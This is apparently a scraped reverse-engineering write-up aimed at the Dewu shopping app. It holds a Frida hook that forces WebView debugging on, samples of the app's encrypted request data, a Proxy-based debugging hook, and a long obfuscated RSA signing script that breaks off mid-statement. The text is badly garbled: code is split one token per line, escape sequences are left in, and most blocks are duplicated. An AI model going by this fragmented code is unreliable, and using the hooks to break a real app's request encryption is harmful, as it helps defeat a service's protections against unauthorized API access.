\'int\'
,
\'java.util.Map\'
,
\'boolean\'
).implementation =
function
(a,b,c,d,e){
\\n
var
result =
this
.$init(a,b,c,d,e);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
,
\'int\'
,
\'java.util.Map\'
,
\'boolean\'
).implementation =
function
(a,b,c,d,e,f){
\\n
var
result =
this
.$init(a,b,c,d,e,f);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
});
\\n}
setImmediate(main);
data: vyOviR13Aj2v2YfHwBzt9AZALCv7Tb7GGgbFy3bwIVlp
/
p1z8bInxbuAhqQlw3tuopM5OBzVnD0oyAX6CttfpA
59E9F16BA7DA911473B34942199E63906BB47BF669E930A449417783275F7A24F49E5456B23BE2C78286D67D85DB552D
\\ndata: vyOviR13Aj2v2YfHwBzt9AZALCv7Tb7GGgbFy3bwIVlp
/
p1z8bInxbuAhqQlw3tuopM5OBzVnD0oyAX6CttfpA
59E9F16BA7DA911473B34942199E63906BB47BF669E930A449417783275F7A24F49E5456B23BE2C78286D67D85DB552D
\\n0
DBBB668BAE191E448D975EC8321C631029ACCCEFF60F02B75B45731272A242E1500984E8A3794AF305613918247A9DCBAA62BC3A91B343D953B4E0574724B90F139F78CF3EBA716FA3B408FA0F25770285461FBA3481769948BD67F36A8584E9657B6111143A4F38AC89AB6975E61776964986E9A2D72F2365B9D6F0CF1A1BBC368CC632290B352DA22E8D412F11692F3FB683BBC03C650910E3373E74FA1C92D5881C594E9F32E259742E4F55AC4B06CE0A33054A9EEFC2AA6781F0CB0B7549007CC71053E3C042CEA2BE34ABDB228D3817067CEC998328EAA5E05C043D193D80A04F1CEC7E22BD396A4.........省略n多
\\n0
DBBB668BAE191E448D975EC8321C631029ACCCEFF60F02B75B45731272A242E1500984E8A3794AF305613918247A9DCBAA62BC3A91B343D953B4E0574724B90F139F78CF3EBA716FA3B408FA0F25770285461FBA3481769948BD67F36A8584E9657B6111143A4F38AC89AB6975E61776964986E9A2D72F2365B9D6F0CF1A1BBC368CC632290B352DA22E8D412F11692F3FB683BBC03C650910E3373E74FA1C92D5881C594E9F32E259742E4F55AC4B06CE0A33054A9EEFC2AA6781F0CB0B7549007CC71053E3C042CEA2BE34ABDB228D3817067CEC998328EAA5E05C043D193D80A04F1CEC7E22BD396A4.........省略n多
\\n\\"https://app.dewu.com/hacking-fish/v1/task/list?data=i4aGW0KBO1Rn6MBDfu%2FthRGTH4WL26tsRG5epeKND4xFVZdsJvwMJt9xJbAMY4hi09HOCqxTRQCRrEWqcsKt1w%E2%80%8BC74F514DAA73D51BBB723CC4B8FDEA29168327DD99B4BA5C1A0CA918F74375F359D3E405D4BBAFEE29E9CB872CA6CA14\\"
\\"https://app.dewu.com/hacking-fish/v1/task/list?data=i4aGW0KBO1Rn6MBDfu%2FthRGTH4WL26tsRG5epeKND4xFVZdsJvwMJt9xJbAMY4hi09HOCqxTRQCRrEWqcsKt1w%E2%80%8BC74F514DAA73D51BBB723CC4B8FDEA29168327DD99B4BA5C1A0CA918F74375F359D3E405D4BBAFEE29E9CB872CA6CA14\\"
return
new (n || (n
=
Promise))((function(o, i) {
\\n
function a(t) {
\\n
try
{
\\n
f(r.
next
(t))
\\n
} catch (t) {
\\n
i(t)
\\n
}
\\n
}
\\n
function c(t) {
\\n
try
{
\\n
f(r.throw(t))
\\n
} catch (t) {
\\n
i(t)
\\n
}
\\n
}
\\nreturn
new (n || (n
=
Promise))((function(o, i) {
\\n
function a(t) {
\\n
try
{
\\n
f(r.
next
(t))
\\n
} catch (t) {
\\n
i(t)
\\n
}
\\n
}
\\n
function c(t) {
\\n
try
{
\\n
f(r.throw(t))
\\n
} catch (t) {
\\n
i(t)
\\n
}
\\n
}
\\n{
path: this.listPath,
\\n
method:
\\"get\\"
,
\\n
params: t
\\n
}
\\n{
path: this.listPath,
\\n
method:
\\"get\\"
,
\\n
params: t
\\n
}
\\nnew
Proxy(obj,
\\n
{set:
function
(obj, prop, value)
\\n
{
\\n
console.log(
\\"set---\x3e\\"
,obj, prop, value);
\\n
debugger
\\n
return
Reflect.set(...arguments);},
\\n
get:
function
(obj, prop)
\\n
{
\\n
console.log(
\\"get---\x3e\\"
,obj, prop);
\\n
debugger
\\n
return
Reflect.get(...arguments);
\\n
}
\\n
}
\\n
)
\\nnew
Proxy(obj,
\\n
{set:
function
(obj, prop, value)
\\n
{
\\n
console.log(
\\"set---\x3e\\"
,obj, prop, value);
\\n
debugger
\\n
return
Reflect.set(...arguments);},
\\n
get:
function
(obj, prop)
\\n
{
\\n
console.log(
\\"get---\x3e\\"
,obj, prop);
\\n
debugger
\\n
return
Reflect.get(...arguments);
\\n
}
\\n
}
\\n
)
\\n\'value\'
: function(_0x29b3a1, _0x105de1, _0x46790f, _0x5db7e4) {
\\n
var _0x495033
=
{
\\n
\'jnDMy\'
: function(_0x399cc7, _0x21f72e) {
\\n
return
_0x399cc7
-
_0x21f72e;
\\n
},
\\n
\'kREPA\'
: function(_0x27b72a, _0x456f3a) {
\\n
return
_0x27b72a >> _0x456f3a;
\\n
},
\\n
\'jbiNJ\'
: function(_0x1694e5, _0x37a70c) {
\\n
return
_0x1694e5
+
_0x37a70c;
\\n
},
\\n
\'pgDxk\'
: function(_0x1f7057, _0x573714) {
\\n
return
_0x35594c[
\'aMZtC\'
](_0x1f7057, _0x573714);
\\n
},
\\n
\\"\\\\u0077\\\\u0056\\\\u0065\\\\u004b\\\\u004e\\"
: function(_0x2beba4) {
\\n
return
_0x35594c[
\'Hwkfd\'
](_0x2beba4);
\\n
},
\\n
\'FtodS\'
: function(_0x18aecc, _0x493efd) {
\\n
return
_0x18aecc
-
_0x493efd;
\\n
},
\\n
\'dNODL\'
: function(_0x1aabb7, _0xce4941) {
\\n
return
_0x1aabb7 < _0xce4941;
\\n
},
\\n
\'eovOE\'
: function(_0x20e70a, _0x57ec84) {
\\n
return
_0x35594c[
\'XTSbV\'
](_0x20e70a, _0x57ec84);
\\n
},
\\n
\'JGYXo\'
: function(_0x4a600c, _0x471cfd) {
\\n
return
_0x35594c[
\'HwQGE\'
](_0x4a600c, _0x471cfd);
\\n
},
\\n
\'DKWdp\'
: function(_0x34df49, _0x1efc82) {
\\n
return
_0x35594c[
\'cqNxF\'
](_0x34df49, _0x1efc82);
\\n
},
\\n
\'uLcaf\'
: function(_0x896ecd, _0x3cdc64) {
\\n
return
_0x35594c[
\'Haher\'
](_0x896ecd, _0x3cdc64);
\\n
},
\\n
\'fFTKY\'
: function(_0x37b5b4, _0x373c04) {
\\n
return
_0x37b5b4 >
=
_0x373c04;
\\n
},
\\n
\'NAEpD\'
: function(_0x68aa83, _0x460689) {
\\n
return
_0x35594c[
\'aLSFO\'
](_0x68aa83, _0x460689);
\\n
},
\\n
\'NCrAQ\'
: function(_0x1fe228, _0x57c621) {
\\n
return
_0x1fe228
%
_0x57c621;
\\n
},
\\n
\'Rbmel\'
: function(_0x34d831, _0x4e6a74) {
\\n
return
_0x34d831
/
_0x4e6a74;
\\n
},
\\n
\'siLbZ\'
: function(_0x104496, _0x5bdbaf) {
\\n
return
_0x104496 & _0x5bdbaf;
\\n
},
\\n
\'Uzghn\'
: function(_0x4454e1, _0x2f9444) {
\\n
return
_0x4454e1
-
_0x2f9444;
\\n
},
\\n
\'iImdx\'
: function(_0x11bc2f, _0x4039cb) {
\\n
return
_0x11bc2f
+
_0x4039cb;
\\n
},
\\n
\'bboWb\'
: function(_0x2a5bac, _0x982394) {
\\n
return
_0x2a5bac !
=
_0x982394;
\\n
},
\\n
\'Cmwqf\'
: function(_0x557ece, _0x3778c7) {
\\n
return
_0x557ece
-
_0x3778c7;
\\n
},
\\n
\'RWuoe\'
: function(_0x3d5eaa, _0x5dad97) {
\\n
return
_0x3d5eaa
*
_0x5dad97;
\\n
},
\\n
\'YqrBL\'
: function(_0x2a7355) {
\\n
return
_0x2a7355();
\\n
},
\\n
\'IDltp\'
: function(_0x21a13a) {
\\n
return
_0x21a13a();
\\n
},
\\n
\'fklWl\'
: function(_0x166bac, _0x98d225) {
\\n
return
_0x166bac(_0x98d225);
\\n
},
\\n
\'ZhTHm\'
: function(_0x24cc52) {
\\n
return
_0x24cc52();
\\n
},
\\n
\'tbWeE\'
: function(_0x5a1e1d, _0x52bb9e) {
\\n
return
_0x5a1e1d >
=
_0x52bb9e;
\\n
},
\\n
\'nUvFD\'
: function(_0x4ee77b, _0x436c41) {
\\n
return
_0x4ee77b
=
=
_0x436c41;
\\n
},
\\n
\'COxtG\'
: function(_0x1433c5, _0x3b08e8) {
\\n
return
_0x1433c5
=
=
_0x3b08e8;
\\n
},
\\n
\'maQEK\'
: function(_0x2600f8, _0x5a5b55) {
\\n
return
_0x2600f8 > _0x5a5b55;
\\n
},
\\n
\'Pteet\'
: function(_0xf9798b, _0x132e77) {
\\n
return
_0xf9798b >> _0x132e77;
\\n
},
\\n
\'mxZIe\'
: function(_0xf2e1e4, _0xd1632a) {
\\n
return
_0xf2e1e4 >
=
_0xd1632a;
\\n
},
\\n
\'bcKuF\'
: function(_0x870c5e, _0x1a7bf3) {
\\n
return
_0x870c5e < _0x1a7bf3;
\\n
},
\\n
\\"\\\\u0059\\\\u0050\\\\u0064\\\\u0073\\\\u006c\\"
: function(_0x1dc8d0, _0x271b0b) {
\\n
return
_0x35594c[
\'gUBLr\'
](_0x1dc8d0, _0x271b0b);
\\n
},
\\n
\'uniSO\'
: function(_0x280a53, _0x2843ba) {
\\n
return
_0x280a53 & _0x2843ba;
\\n
},
\\n
\'hhxpV\'
: function(_0x43fda3, _0x3ef904) {
\\n
return
_0x43fda3 < _0x3ef904;
\\n
},
\\n
\'nUORC\'
: function(_0x49652d, _0x303afc) {
\\n
return
_0x49652d < _0x303afc;
\\n
},
\\n
\'blZcG\'
: function(_0x34a5e5, _0x47dfc3) {
\\n
return
_0x34a5e5
+
_0x47dfc3;
\\n
},
\\n
\'nDhum\'
: function(_0x20cee7, _0x3c40c1) {
\\n
return
_0x20cee7(_0x3c40c1);
\\n
},
\\n
\'PRHhW\'
: function(_0x4ca3a6, _0x2fd0b0) {
\\n
return
_0x4ca3a6 >> _0x2fd0b0;
\\n
},
\\n
\'YMZWA\'
: function(_0x1b56d9, _0x4e7143) {
\\n
return
_0x1b56d9 | _0x4e7143;
\\n
},
\\n
\'xmGMu\'
: function(_0x3668cf, _0x24817e) {
\\n
return
_0x3668cf > _0x24817e;
\\n
},
\\n
\'wkVpc\'
: function(_0x46a0e7, _0x41ee8a) {
\\n
return
_0x35594c[
\'ohatu\'
](_0x46a0e7, _0x41ee8a);
\\n
},
\\n
\'IUSwf\'
:
\'unsupported\\\\x20PKCS#8\\\\x20public\\\\x20key\\\\x20hex\'
,
\\n
\'Glggr\'
: function(_0x2d00ef, _0x4f6fe4) {
\\n
return
_0x2d00ef !
=
=
_0x4f6fe4;
\\n
}
\\n
};
\\n
var _0x4879b7, _0x4a8f01, _0x1a0eab, _0x5da258, _0x2bd525, _0xe412e2, _0x345581, _0x4dfef5, _0x483389, _0x3bf831, _0x1c4a22, _0x4595dc, _0x3291c5, _0x10fab7
=
_0x42a8e8(
0x30
,
0x10
), _0x3b1c65
=
\'
\', _0x4a9b51 = \'
0
\', _0x11dd4c
=
_0x29b3a1;
\\n
if
(
\\"teg\\"
.split(\\"
\\").reverse().join(\\"
\\")
=
=
=
(_0x105de1 ||
\'post\'
)[
\'toLocaleLowerCase\'
]())
\\n
try
{
\\n
var _0x1e5a73
=
[]
\\n
, _0x3e45e7
=
JSON[
\'parse\'
](_0x29b3a1);
\\n
Object
[
\'keys\'
](_0x3e45e7)[
\'map\'
](function(_0x9b096) {
\\n
return
_0x1e5a73[
\'push\'
](\'
\'[\'
concat
\'](_0x9b096, \'
=
\')[\'
concat\'](encodeURIComponent(_0x3e45e7[_0x9b096]))),
\\n
_0x9b096;
\\n
}),
\\n
_0x11dd4c
=
_0x1e5a73[
\'join\'
](
\'&\'
);
\\n
} catch (_0x4997f8) {
\\n
console[
\'log\'
](_0x35594c[
\'MSvQu\'
]);
\\n
}
\\n
if
(!_0x5db7e4 &&
\'0\'
=
=
=
String(_0x257145))
\\n
return
{
\\n
\'a\'
: _0x10fab7,
\\n
\'b\'
: _0x42a8e8(
0x30
,
0x10
),
\\n
\'c\'
: \'
\'[\'
concat
\'](_0x4a9b51, \'
,
\')[\'
concat\'](_0x128360),
\\n
\'d\'
: _0x29b3a1,
\\n
\'e\'
: _0x42a8e8(
0x30
,
0x10
)
\\n
};
\\n
try
{
\\n
var _0x173191, _0x59ca79
=
function(_0x1cabba, _0x15b456, _0x4acfca) {
\\n
_0x337f99[
\'dnHfa\'
](null, _0x1cabba) && (_0x337f99[
\'FOejE\'
](_0x337f99[
\'upliq\'
], typeof _0x1cabba) ? this[
\'fromNumber\'
](_0x1cabba, _0x15b456, _0x4acfca) : null
=
=
_0x15b456 && _0x337f99[
\'TVpeu\'
](
\'string\'
, typeof _0x1cabba) ? this[
\'fromString\'
](_0x1cabba,
0x100
) : this[
\'fromString\'
](_0x1cabba, _0x15b456));
\\n
}, _0x400e8f
=
function() {
\\n
return
new _0x59ca79(null);
\\n
}, _0x316e10
=
function(_0x2569d6) {
\\n
var _0x528ed4, _0x5217de, _0x1de34f, _0x20f23b
=
\'\', _0x191816
=
0x0
;
\\n
for
(_0x528ed4
=
0x0
; _0x528ed4 < _0x2569d6[
\'length\'
] && _0x2569d6[
\'charAt\'
](_0x528ed4) !
=
_0xe72856;
+
+
_0x528ed4)
\\n
_0x337f99[
\'IOuwo\'
](_0x1de34f
=
_0x16d26a[
\'indexOf\'
](_0x2569d6[
\'charAt\'
](_0x528ed4)),
0x0
) || (
0x0
=
=
_0x191816 ? (_0x20f23b
+
=
_0x4d7989(_0x1de34f >>
0x2
),
\\n
_0x5217de
=
_0x337f99[
\'SjWnk\'
](
0x3
, _0x1de34f),
\\n
_0x191816
=
0x1
) :
0x1
=
=
_0x191816 ? (_0x20f23b
+
=
_0x4d7989(_0x337f99[
\'iVTra\'
](_0x5217de,
0x2
) | _0x1de34f >>
0x4
),
\\n
_0x5217de
=
_0x337f99[
\'SjWnk\'
](
0xf
, _0x1de34f),
\\n
_0x191816
=
0x2
) :
0x2
=
=
_0x191816 ? (_0x20f23b
+
=
_0x337f99[
\'qEDXs\'
](_0x4d7989, _0x5217de),
\\n
_0x20f23b
+
=
_0x4d7989(_0x1de34f >>
0x2
),
\\n
_0x5217de
=
_0x337f99[
\'OJQhi\'
](
0x3
, _0x1de34f),
\\n
_0x191816
=
0x3
) : (_0x20f23b
+
=
_0x4d7989(_0x5217de <<
0x2
| _0x1de34f >>
0x4
),
\\n
_0x20f23b
+
=
_0x4d7989(_0x337f99[
\'KuSZA\'
](
0xf
, _0x1de34f)),
\\n
_0x191816
=
0x0
));
\\n
return
0x1
=
=
_0x191816 && (_0x20f23b
+
=
_0x4d7989(_0x337f99[
\'iVTra\'
](_0x5217de,
0x2
))),
\\n
_0x20f23b;
\\n
}, _0x4d7989
=
function(_0x579c8f) {
\\n
return
_0x5ca101[
\'charAt\'
](_0x579c8f);
\\n
}, _0x10aeb0
=
function(_0x428ff9, _0x276953) {
\\n
var _0x1d865e
=
_0x12330c[_0x428ff9[
\'charCodeAt\'
](_0x276953)];
\\n
return
null
=
=
_0x1d865e ?
-
0x1
: _0x1d865e;
\\n
}, _0x271122
=
function(_0x244e5b) {
\\n
var _0x1792c6, _0x250c55
=
0x1
;
\\n
return
_0x337f99[
\'dnHfa\'
](
0x0
, _0x1792c6
=
_0x337f99[
\'PlLEe\'
](_0x244e5b,
0x10
)) && (_0x244e5b
=
_0x1792c6,
\\n
_0x250c55
+
=
0x10
),
\\n
0x0
!
=
(_0x1792c6
=
_0x244e5b >>
0x8
) && (_0x244e5b
=
_0x1792c6,
\\n
_0x250c55
+
=
0x8
),
\\n
_0x337f99[
\'PnfLG\'
](
0x0
, _0x1792c6
=
_0x244e5b >>
0x4
) && (_0x244e5b
=
_0x1792c6,
\\n
_0x250c55
+
=
0x4
),
\\n
0x0
!
=
(_0x1792c6
=
_0x244e5b >>
0x2
) && (_0x244e5b
=
_0x1792c6,
\\n
_0x250c55
+
=
0x2
),
\\n
0x0
!
=
(_0x1792c6
=
_0x244e5b >>
0x1
) && (_0x244e5b
=
_0x1792c6,
\\n
_0x250c55
+
=
0x1
),
\\n
_0x250c55;
\\n
}, _0x1de423
=
function(_0x470164) {
\\n
this[
\'m\'
]
=
_0x470164;
\\n
}, _0x5033d5
=
function(_0x1c3314) {
\\n
this[
\'m\'
]
=
_0x1c3314,
\\n
this[
\'mp\'
]
=
_0x1c3314[
\'invDigit\'
](),
\\n
this[
\'mpl\'
]
=
0x7fff
& this[
\'mp\'
],
\\n
this[
\'mph\'
]
=
this[
\'mp\'
] >>
0xf
,
\\n
this[
\'um\'
]
=
_0x495033[
\'jnDMy\'
](
0x1
<< _0x1c3314[
\'DB\'
]
-
0xf
,
0x1
),
\\n
this[
\'mt2\'
]
=
0x2
*
_0x1c3314[
\'t\'
];
\\n
}, _0xa66064
=
function() {
\\n
this[
\'i\'
]
=
0x0
,
\\n
this[
\'j\'
]
=
0x0
,
\\n
this[
\'S\'
]
=
new Array();
\\n
}, _0x4f62c5
=
function() {
\\n
!function(_0x39abac) {
\\n
_0x171384[_0x5c9259
+
+
] ^
=
0xff
& _0x39abac,
\\n
_0x171384[_0x5c9259
+
+
] ^
=
_0x39abac >>
0x8
&
0xff
,
\\n
_0x171384[_0x5c9259
+
+
] ^
=
_0x39abac >>
0x10
&
0xff
,
\\n
_0x171384[_0x5c9259
+
+
] ^
=
_0x495033[
\'kREPA\'
](_0x39abac,
0x18
) &
0xff
,
\\n
_0x5c9259 >
=
_0x446f14 && (_0x5c9259
-
=
_0x446f14);
\\n
}(new Date()[
\'getTime\'
]());
\\n
}, _0x27cf6d
=
function() {
\\n
if
(null
=
=
_0x42b025) {
\\n
for
(_0x4f62c5(),
\\n
(_0x42b025
=
new _0xa66064())[
\'init\'
](_0x171384),
\\n
_0x5c9259
=
0x0
; _0x5c9259 < _0x171384[
\'length\'
];
+
+
_0x5c9259)
\\n
_0x171384[_0x5c9259]
=
0x0
;
\\n
_0x5c9259
=
0x0
;
\\n
}
\\n
return
_0x42b025[
\'next\'
]();
\\n
}, _0x13d83e
=
function() {}, _0x47f03c
=
function() {
\\n
this[
\'n\'
]
=
null,
\\n
this[
\'e\'
]
=
0x0
,
\\n
this[
\'d\'
]
=
null,
\\n
this[
\'p\'
]
=
null,
\\n
this[
\'q\'
]
=
null,
\\n
this[
\'dmp1\'
]
=
null,
\\n
this[
\'dmq1\'
]
=
null,
\\n
this[
\'coeff\'
]
=
null;
\\n
};
\\n
\'Microsoft\\\\x20Internet\\\\x20Explorer\'
=
=
navigator[
\'appName\'
] ? (_0x59ca79[
\'prototype\'
][
\'am\'
]
=
function(_0x997169, _0x13e72e, _0x30fb98, _0x4d34cb, _0x51786c, _0x452448) {
\\n
for
(var _0x1345c7
=
0x7fff
& _0x13e72e, _0x4c73ab
=
_0x13e72e >>
0xf
;
-
-
_0x452448 >
=
0x0
; ) {
\\n
var _0x547e23
=
0x7fff
& this[_0x997169]
\\n
, _0x190547
=
_0x337f99[
\'CkSfX\'
](this[_0x997169
+
+
],
0xf
)
\\n
, _0x3aefc8
=
_0x4c73ab
*
_0x547e23
+
_0x190547
*
_0x1345c7;
\\n
_0x51786c
=
_0x337f99[
\'CwSBC\'
](_0x337f99[
\'PlLEe\'
](_0x547e23
=
_0x337f99[
\'cccOp\'
](_0x1345c7
*
_0x547e23
+
((
0x7fff
& _0x3aefc8) <<
0xf
), _0x30fb98[_0x4d34cb])
+
(
0x3fffffff
& _0x51786c),
0x1e
)
+
_0x337f99[
\'PlLEe\'
](_0x3aefc8,
0xf
), _0x337f99[
\'UBVQR\'
](_0x4c73ab, _0x190547))
+
(_0x51786c >>>
0x1e
),
\\n
_0x30fb98[_0x4d34cb
+
+
]
=
_0x337f99[
\'OJQhi\'
](
0x3fffffff
, _0x547e23);
\\n
}
\\n
return
_0x51786c;
\\n
}
\\n
,
\\n
_0x173191
=
0x1e
) : _0x35594c[
\'VTQiX\'
](
\\"epacsteN\\"
.split(\\"
\\").reverse().join(\\"
\\"), navigator[
\'appName\'
]) ? (_0x59ca79[
\'prototype\'
][
\'am\'
]
=
function(_0x53ad28, _0x5b1d73, _0xe60088, _0x574d0d, _0x40bb42, _0xb27fd2) {
\\n
for
(;
-
-
_0xb27fd2 >
=
0x0
; ) {
\\n
var _0x54c12e
=
_0x495033[
\'jbiNJ\'
](_0x5b1d73
*
this[_0x53ad28
+
+
], _0xe60088[_0x574d0d])
+
_0x40bb42;
\\n
_0x40bb42
=
Math[
\'floor\'
](_0x54c12e
/
0x4000000
),
\\n
_0xe60088[_0x574d0d
+
+
]
=
_0x495033[
\'pgDxk\'
](
0x3ffffff
, _0x54c12e);
\\n
}
\\n
return
_0x40bb42;
\\n
}
\\n
,
\\n
_0x173191
=
0x1a
) : (_0x59ca79[
\'prototype\'
][
\'am\'
]
=
function(_0xa394d3, _0x1ac0ad, _0x5a4adf, _0x2727f7, _0x25ef30, _0xb77c06) {
\\n
for
(var _0x3f16d3
=
0x3fff
& _0x1ac0ad, _0x4b2a4f
=
_0x1ac0ad >>
0xe
;
-
-
_0xb77c06 >
=
0x0
; ) {
\\n
var _0x2096ad
=
_0x337f99[
\'YirMV\'
](
0x3fff
, this[_0xa394d3])
\\n
, _0x383759
=
this[_0xa394d3
+
+
] >>
0xe
\\n
, _0x1d1f92
=
_0x337f99[
\'CwSBC\'
](_0x4b2a4f
*
_0x2096ad, _0x383759
*
_0x3f16d3);
\\n
_0x25ef30
=
((_0x2096ad
=
_0x3f16d3
*
_0x2096ad
+
(_0x337f99[
\'XFjfj\'
](
0x3fff
, _0x1d1f92) <<
0xe
)
+
_0x5a4adf[_0x2727f7]
+
_0x25ef30) >>
0x1c
)
+
(_0x1d1f92 >>
0xe
)
+
_0x4b2a4f
*
_0x383759,
\\n
_0x5a4adf[_0x2727f7
+
+
]
=
0xfffffff
& _0x2096ad;
\\n
}
\\n
return
_0x25ef30;
\\n
}
\\n
,
\\n
_0x173191
=
0x1c
);
\\n
var _0x16d26a
=
\\"/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA\\"
.split(\\"
\\").reverse().join(\\"
\\")
\\n
, _0xe72856
=
\'=\'
;
\\n
_0x59ca79[
\'prototype\'
][
\'DB\'
]
=
_0x173191,
\\n
_0x59ca79[
\'prototype\'
][
\'DM\'
]
=
_0x35594c[
\'Haher\'
](
0x1
, _0x173191)
-
0x1
,
\\n
_0x59ca79[
\'prototype\'
][
\'DV\'
]
=
0x1
<< _0x173191,
\\n
_0x59ca79[
\'prototype\'
][
\'FV\'
]
=
Math[
\'pow\'
](
0x2
,
0x34
),
\\n
_0x59ca79[
\'prototype\'
][
\'F1\'
]
=
0x34
-
_0x173191,
\\n
_0x59ca79[
\'prototype\'
][
\'F2\'
]
=
_0x35594c[
\'qQlTX\'
](
0x2
, _0x173191)
-
0x34
;
\\n
var _0x278663, _0x31bca6, _0x5ca101
=
\'0123456789abcdefghijklmnopqrstuvwxyz\'
, _0x12330c
=
new Array();
\\n
for
(_0x278663
=
\'0\'
[
\'charCodeAt\'
](
0x0
),
\\n
_0x31bca6
=
0x0
; _0x31bca6 <
=
0x9
;
+
+
_0x31bca6)
\\n
_0x12330c[_0x278663
+
+
]
=
_0x31bca6;
\\n
for
(_0x278663
=
\'a\'
[
\'charCodeAt\'
](
0x0
),
\\n
_0x31bca6
=
0xa
; _0x35594c[
\'gUBLr\'
](_0x31bca6,
0x24
);
+
+
_0x31bca6)
\\n
_0x12330c[_0x278663
+
+
]
=
_0x31bca6;
\\n
for
(_0x278663
=
\'A\'
[
\'charCodeAt\'
](
0x0
),
\\n
_0x31bca6
=
0xa
; _0x31bca6 <
0x24
;
+
+
_0x31bca6)
\\n
_0x12330c[_0x278663
+
+
]
=
_0x31bca6;
\\n
_0x1de423[
\'prototype\'
][
\'convert\'
]
=
function(_0x1d9733) {
\\n
return
_0x1d9733[
\'s\'
] <
0x0
|| _0x1d9733[
\'compareTo\'
](this[
\'m\'
]) >
=
0x0
? _0x1d9733[
\'mod\'
](this[
\'m\'
]) : _0x1d9733;
\\n
}
\\n
,
\\n
_0x1de423[
\'prototype\'
][
\'revert\'
]
=
function(_0x1a46be) {
\\n
return
_0x1a46be;
\\n
}
\\n
,
\\n
_0x1de423[
\'prototype\'
][
\'reduce\'
]
=
function(_0x143f01) {
\\n
_0x143f01[
\'divRemTo\'
](this[
\'m\'
], null, _0x143f01);
\\n
}
\\n
,
\\n
_0x1de423[
\'prototype\'
][
\'mulTo\'
]
=
function(_0x12a399, _0x5b95c6, _0x12a816) {
\\n
_0x12a399[
\'multiplyTo\'
](_0x5b95c6, _0x12a816),
\\n
this[
\'reduce\'
](_0x12a816);
\\n
}
\\n
,
\\n
_0x1de423[
\'prototype\'
][
\'sqrTo\'
]
=
function(_0x35a5b5, _0x3a2efe) {
\\n
_0x35a5b5[
\'squareTo\'
](_0x3a2efe),
\\n
this[
\'reduce\'
](_0x3a2efe);
\\n
}
\\n
,
\\n
_0x5033d5[
\'prototype\'
][
\'convert\'
]
=
function(_0x36c1f1) {
\\n
var _0x4ef797
=
_0x400e8f();
\\n
return
_0x36c1f1[
\'abs\'
]()[
\'dlShiftTo\'
](this[
\'m\'
][
\'t\'
], _0x4ef797),
\\n
_0x4ef797[
\'divRemTo\'
](this[
\'m\'
], null, _0x4ef797),
\\n
_0x36c1f1[
\'s\'
] <
0x0
&& _0x4ef797[
\'compareTo\'
](_0x59ca79[
\'ZERO\'
]) >
0x0
&& this[
\'m\'
][
\'subTo\'
](_0x4ef797, _0x4ef797),
\\n
_0x4ef797;
\\n
}
\\n
,
\\n
_0x5033d5[
\'prototype\'
][
\'revert\'
]
=
function(_0x10be0c) {
\\n
var _0x32d8cc
=
_0x495033[
\'wVeKN\'
](_0x400e8f);
\\n
return
_0x10be0c[
\'copyTo\'
](_0x32d8cc),
\\n
this[
\'reduce\'
](_0x32d8cc),
\\n
_0x32d8cc;
\\n
}
\\n
,
\\n
_0x5033d5[
\'prototype\'
][
\'reduce\'
]
=
function(_0x5e09a8) {
\\n
for
(; _0x5e09a8[
\'t\'
] <
=
this[
\'mt2\'
]; )
\\n
_0x5e09a8[_0x5e09a8[
\'t\'
]
+
+
]
=
0x0
;
\\n
for
(var _0x8bb497
=
0x0
; _0x8bb497 < this[
\'m\'
][
\'t\'
];
+
+
_0x8bb497) {
\\n
var _0x3934d6
=
0x7fff
& _0x5e09a8[_0x8bb497]
\\n
, _0x245588
=
_0x337f99[
\'VUyyp\'
](_0x3934d6
*
this[
\'mpl\'
], (_0x337f99[
\'UBVQR\'
](_0x3934d6, this[
\'mph\'
])
+
(_0x5e09a8[_0x8bb497] >>
0xf
)
*
this[
\'mpl\'
] & this[
\'um\'
]) <<
0xf
) & _0x5e09a8[
\'DM\'
];
\\n
for
(_0x5e09a8[_0x3934d6
=
_0x337f99[
\'NScfM\'
](_0x8bb497, this[
\'m\'
][
\'t\'
])]
+
=
this[
\'m\'
][
\'am\'
](
0x0
, _0x245588, _0x5e09a8, _0x8bb497,
0x0
, this[
\'m\'
][
\'t\'
]); _0x337f99[
\'OKtob\'
](_0x5e09a8[_0x3934d6], _0x5e09a8[
\'DV\'
]); )
\\n
_0x5e09a8[_0x3934d6]
-
=
_0x5e09a8[
\'DV\'
],
\\n
_0x5e09a8[
+
+
_0x3934d6]
+
+
;
\\n
}
\\n
_0x5e09a8[
\'clamp\'
](),
\\n
_0x5e09a8[
\'drShiftTo\'
](this[
\'m\'
][
\'t\'
], _0x5e09a8),
\\n
_0x337f99[
\'pAsGx\'
](_0x5e09a8[
\'compareTo\'
](this[
\'m\'
]),
0x0
) && _0x5e09a8[
\'subTo\'
](this[
\'m\'
], _0x5e09a8);
\\n
}
\\n
,
\\n
_0x5033d5[
\'prototype\'
][
\'mulTo\'
]
=
function(_0x455b2f, _0x54e3f6, _0x366c2a) {
\\n
_0x455b2f[
\'multiplyTo\'
](_0x54e3f6, _0x366c2a),
\\n
this[
\'reduce\'
](_0x366c2a);
\\n
}
\\n
,
\\n
_0x5033d5[
\'prototype\'
][
\'sqrTo\'
]
=
function(_0x2f5649, _0x4ca1d4) {
\\n
_0x2f5649[
\'squareTo\'
](_0x4ca1d4),
\\n
this[
\'reduce\'
](_0x4ca1d4);
\\n
}
\\n
,
\\n
_0x59ca79[
\'prototype\'
][
\'copyTo\'
]
=
function(_0x246d98) {
\\n
for
(var _0x670209
=
_0x495033[
\'FtodS\'
](this[
\'t\'
],
0x1
); _0x670209 >
=
0x0
;
-
-
_0x670209)
\\n
_0x246d98[_0x670209]
=
this[_0x670209];
\\n
_0x246d98[
\'t\'
]
=
this[
\'t\'
],
\\n
_0x246d98[
\'s\'
]
=
this[
\'s\'
];
\\n
}
\\n
,
\\n
_0x59ca79[
\'prototype\'
][
\'fromInt\'
]
=
function(_0x592524) {
\\n
this[
\'t\'
]
=
0x1
,
\\n
this[
\'s\'
]
=
_0x495033[
\'dNODL\'
](_0x592524,
0x0
) ?
-
0x1
:
0x0
,
\\n
_0x495033[
\'eovOE\'
](_0x592524,
0x0
) ? this[
0x0
]
=
_0x592524 : _0x592524 <
-
0x1
? this[
0x0
]
=
_0x495033[
\'jbiNJ\'
](_0x592524, this[
\'DV\'
]) : this[
\'t\'
]
=
0x0
;
\\n
}
\\n
,
\\n
_0x59ca79[
